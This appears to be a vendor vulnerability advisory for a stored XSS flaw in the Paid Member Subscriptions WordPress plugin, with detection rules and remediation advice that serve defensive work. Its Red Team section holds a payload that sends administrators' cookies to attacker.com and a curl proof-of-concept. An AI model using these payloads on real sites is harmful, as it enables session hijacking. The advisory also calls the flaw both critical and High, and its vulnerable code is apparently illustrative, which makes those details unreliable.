CVE-2026-39514
Executive Summary
CVE-2026-39514 is a critical Unauthenticated Cross-Site Scripting (XSS) vulnerability discovered in the Paid Member Subscriptions WordPress plugin, affecting versions up to and including 2.17.3. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the application, which can be executed in the context of an administrator’s browser session. The vulnerability is classified as Stored XSS (persistent), meaning the malicious payload is stored on the server and executed when the victim visits the affected page.
Given the WordPress ecosystem context, this vulnerability poses a significant risk to membership sites, as it can lead to privilege escalation, session hijacking, or defacement. The EPSS score of 0.0% indicates low exploitation probability in the wild, but the public PoC and unpatched status demand immediate attention.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link or visit a page)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: High. The vulnerability is easy to exploit (no authentication required) and can lead to full site compromise if an administrator is targeted.
Deep Dive & Mechanics
The vulnerability resides in the Paid Member Subscriptions plugin’s handling of user input within the subscription management interface. Specifically, the plugin fails to sanitize and escape user-supplied data before storing it in the database and later rendering it in the WordPress admin panel.
Root Cause: The plugin uses $_POST or $_GET parameters (e.g., subscription name, description, or custom fields) without proper validation or output encoding. An attacker can submit a crafted payload via a form submission (e.g., during registration or profile update) that includes JavaScript code.
Attack Flow:
- An unauthenticated attacker submits a malicious payload (e.g.,
<script>alert('XSS')</script>) through a vulnerable input field. - The payload is stored in the WordPress database without sanitization.
- When an administrator views the affected page (e.g., subscription list or user profile), the payload executes in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the admin, or inject further malicious content.
Affected Components:
pms-subscription-formshortcode- Admin subscription management pages
- User profile fields
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.17.3):
// In pms-subscription-form.php
function pms_display_subscription_form( $atts ) {
// ...
$subscription_name = $_POST['pms_subscription_name'];
echo '<div class="pms-subscription-name">' . $subscription_name . '</div>';
// ...
}
Patched Code (Hypothetical):
// In pms-subscription-form.php
function pms_display_subscription_form( $atts ) {
// ...
$subscription_name = sanitize_text_field( $_POST['pms_subscription_name'] );
echo '<div class="pms-subscription-name">' . esc_html( $subscription_name ) . '</div>';
// ...
}
Key Differences:
- Sanitization:
sanitize_text_field()removes malicious tags. - Escaping:
esc_html()converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress instance with Paid Member Subscriptions <= 2.17.3
- Access to a registration or profile update form
Exploit Steps:
- Identify a vulnerable input field (e.g., subscription name, custom field).
- Submit the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Wait for an administrator to view the affected page.
- Capture the admin’s session cookie and hijack their session.
Proof of Concept (PoC):
# Using curl to submit payload
curl -X POST http://target.com/wp-admin/admin-ajax.php \
-d "action=pms_submit&pms_subscription_name=<script>alert('XSS')</script>"
Blue Team (Defender)
Detection Steps:
- Monitor for unusual POST requests to
admin-ajax.phpwithaction=pms_submit. - Check for script tags in database fields related to Paid Member Subscriptions.
- Use the following Sigma rule to detect exploitation attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests containing
<script>tags in parameters likepms_subscription_name - Outbound connections to unknown domains from the WordPress admin panel
Host IOCs:
- Database entries with
<script>tags inwp_pms_subscriptionsorwp_usermetatables - Modified admin user accounts with new roles or permissions
File IOCs:
- Suspicious JavaScript files in
/wp-content/uploads/or/wp-content/plugins/paid-member-subscriptions/
Detection Engineering
YARA Rule
rule CVE_2026_39514_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Paid Member Subscriptions plugin"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-39514"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2026-39514 - Unauthenticated XSS in Paid Member Subscriptions
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-39514 via POST requests
author: Valters IT
date: 2026-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=pms_submit'
cs-uri-query|contains|re: '<script|onerror|javascript'
condition: selection
falsepositives:
- Legitimate use of JavaScript in subscription names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-39514 - XSS in Paid Member Subscriptions"; flow:to_server,established; content:"POST"; http_method; content:"action=pms_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads.
- Audit user-submitted content in the database for malicious scripts.
Long-term Fix:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_html()) to all user-facing fields. - Update to the latest version once the vendor releases a patch.
Workarounds:
- Use a security plugin like Wordfence to add virtual patching.
- Restrict access to the admin panel via IP whitelisting.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert